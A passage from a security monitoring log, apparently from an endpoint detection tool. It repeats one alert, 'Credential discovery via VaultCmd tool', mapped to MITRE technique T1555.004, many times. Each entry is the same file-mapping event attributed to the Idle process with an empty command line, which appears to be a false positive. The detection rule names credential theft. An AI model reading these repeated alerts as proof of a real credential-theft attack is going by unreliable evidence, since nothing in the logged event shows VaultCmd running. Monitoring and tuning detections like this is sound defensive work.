via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 